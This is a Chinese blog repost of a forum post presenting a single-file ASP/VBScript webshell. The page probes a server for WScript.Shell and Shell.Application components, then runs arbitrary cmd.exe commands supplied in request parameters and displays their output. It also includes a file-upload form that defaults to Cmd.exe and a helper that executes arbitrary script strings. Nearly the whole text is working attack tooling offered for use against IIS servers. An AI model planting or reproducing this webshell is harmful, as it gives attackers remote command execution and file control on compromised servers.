• shell.application asp多种组件执行cmd 单文件版本


    <%@ Language="VBScript" %>
    <%
    Dim theComponent(7)
    theComponent(0) = "Scripting.FileSystemObject"
    theComponent(1) = "WScript.Shell"
    theComponent(2) = "WScript.Shell.1"
    theComponent(3) = "WScript.Network"
    theComponent(4) = "WScript.Network.1"
    theComponent(5) = "shell.application"
    theComponent(6) = "shell.application.1"
    Function IsObjInstalled(strClassString)
    On Error Resume Next
    IsObjInstalled = False
    Err = 0
    Dim xTestObj
    Set xTestObj = Server.CreateObject(strClassString)
    If -2147221005 <> Err Then
    IsObjInstalled = True
    Else
    IsObjInstalled = False
    End if
    Set xTestObj = Nothing
    Err = 0
    End Function
    %>
    <tr><td>支持组件:</td></tr>
    <% 
    Dim i
    For i=0 to UBound(theComponent)-1
    If IsObjInstalled(theComponent(i)) Then
    Response.Write "<tr><td>" & theComponent(i) & "</td><td><font color=""green"">√</font></td></tr>" & vbCrLf
    Else
    Response.Write "<tr><td>" & theComponent(i) & "</td><td><font color=""red"">×</font></td></tr>" & vbCrLf
    End if
    Next
    %>
    <br>
    <br>
    <br>
    <object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>
    <object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
     <%
    sub ShowErr()
    If Err Then
    jb"<br><a href='javascript:history.back()'><br>" & Err.DescrIption & "</a><br>"
    Err.Clear:Response.Flush
    ENd IF
    End SUB
    function jb(Str)
    Response.WRItE(Str)
    END function
    Sub mbd(Str)
    execute(Str)
    END Sub
    Function rePATH(S)
    REpath=REpLAcE(s,"","\")
    ENd Function
    FuNctIon RRepaTh(S)
    RREpaTH=rEplAcE(S,"\","")
    end fUncTion
    Url=REQueSt.sErVErvARiables("URL")
    nimajbm=requESt.sErVeRVArIABlEs("LOCAL_ADDR")
    AcTIoN=ReQUESt("Action")
    RooTpATH=SeRveR.mAPpaTH(".")
    WWWROOt=SErVER.MAppATH("/")
    sba=request.servervariables("http_host")
    appbd=rEQUEsT.seRvErVARIaBLES("PATH_INFO") 
    FOLdErpAth=REqueSt("FolderPath")
    ScrName=Request.ServerVariables("Script_Name")
    fNAME=reQUesT("FName")
    ServerU=ReQueST.SERVervaRIables("http_host")
    WoriNima=Request.ServerVariables("SERVER_NAME")
    O0O0=Request.ServerVariables("PATH_TRANSLATED")
    WoriNiba=Request.ServerVariables("SERVER_SOFTWARE")
    Worininai=Request.ServerVariables("LOCAL_ADDR")
    jbmc=Request.ServerVariables("NUMBER_OF_PROCESSORS")
    jbmb=Request.ServerVariables("OS")
        SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
        SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
        SI=SI&"<tr><td>"
        SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"Cmd.exe")&"' size='40'>"
        SI=SI&" <input name='LocalFile' type='file'  size='25'>"
        SI=SI&" <input type='submit' name='Submit' value='上传'>"
        SI=SI&"</td></tr></form></table>"
    on error resume next
    if request("sp")<>"" then session("shellpath") = request("sp")
    shellpath=session("shellpath")
    if shellpath="" then shellpath = "cmd.exe"
    if request("cmd")<>"" then session("defcmd") = request("cmd")
    defcmd=session("defcmd")
    if defcmd="" then defcmd="set"
    if request("rwpath")<>"" then session("rwpath") = request("rwpath")
    rwpath=session("rwpath")
    if rwpath="" then rwpath=server.mappath(".")
    si="<form method='post'>"
    rp1="<input type=""radio"" name=""cmdtype"" value="""
    si=si&"cmd:<input name='sp' value='"&shellpath&"' style='35%'> 回显:<input name='rwpath' value='"&rwpath&"' style='35%'><br>"
    si=si&"<input type='hidden' name='action' value='Cmd1Shell'>"
    si=si&rp1&"wscript"" checked>wscript"
    si=si&rp1&"wscript.shell"">wscript.shell"
    si=si&rp1&"wscript.shell.1"">wscript.shell.1"
    si=si&rp1&"shell.application"">shell.application"
    si=si&rp1&"shell.application.1"">shell.application.1"
    si=si&"<input name='cmd' style='92%' value='"&defcmd&"'> <input type='submit' value='执行'>"
    
    set fso=server.createobject("scripting.filesystemobject")
    sztempfile = rwpath&"cmd.txt"
    select case request("cmdtype")
    case "wscript"
    set cm=server.createobject("wscript.shell")
    set dd=cm.exec(shellpath&" /c "&defcmd)
    aaa=dd.stdout.readall
    si=si&"<text"&"area style='100%;height:440;' class='cmd'>"
    si=si&aaa
    si=si&chr(13)&"</text"&"area></form>"
    case "wscript.shell","wscript.shell.1"
    on error resume next
    set ws=server.createobject(request("cmdtype"))
    call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true)
    set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0)
    aaa=server.htmlencode(ofilelcx.readall)
    ofilelcx.close
    call fso.deletefile(sztempfile, true)
    si=si&"<text"&"area style='100%;height:440;' class='cmd'>"
    si=si&aaa
    si=si&chr(13)&"</text"&"area></form>"
    case "shell.application","shell.application.1"
    set seshell=server.createobject(request("cmdtype"))
    
    seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0
    si=si&"<iframe id=cmdResult src='?cmdtype=shellresult&Action=Cmd1Shell' style='100%;height:440;'>"
    case "shellresult"
    response.Clear()
    on error resume next
    jb "<body style=""background:#3F8805""><span style=""color:#FFFFFF"">"
    if fso.fileexists(sztempfile)=true then
    set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0)
    ss=server.htmlencode(ofilelcx.readall)
    ss=replace(ss,vbnewline,"<br>")
    jb ss
    ofilelcx.close
    call fso.deletefile(sztempfile, true)
    else
    jb "<meta http-equiv=""refresh"" content=""1"" />程序未结束,或者没有执行成功,等待刷新试试"
    end if
    if err then jb "<meta http-equiv=""refresh"" content=""1"" />程序未结束,或者没有执行成功,等待刷新试试"
    jb"</span></body>"
    response.end
    end select
    jb si
    function createmdb(path)
    si="<br><br>"
    set c = createobject(obt(2,0))
    c.create("provider=microsoft.jet.oledb.4.0;data source=" & path)
    set c = nothing
    if err.number=0 then
    si = si & path & "建立成功!"
    end if
    si=si&backurl
    echo si
    end function
    %>

     原帖地址:https://www.t00ls.net/thread-26413-1-1.html

          作者:Calm

  • 相关阅读:
    winfrom 对话框
    容器控件
    简单记事本整理
    公共控件
    winfrom。布局
    ado 小测试
    ado.not--更改精简练习
    ado.not--数据库防字符串注入攻击学习及 练习
    ado.not--练习题
    ado.not--添加练习题
  • 原文地址:https://www.cnblogs.com/hookjoy/p/3660305.html
Copyright © 2020-2023  润新知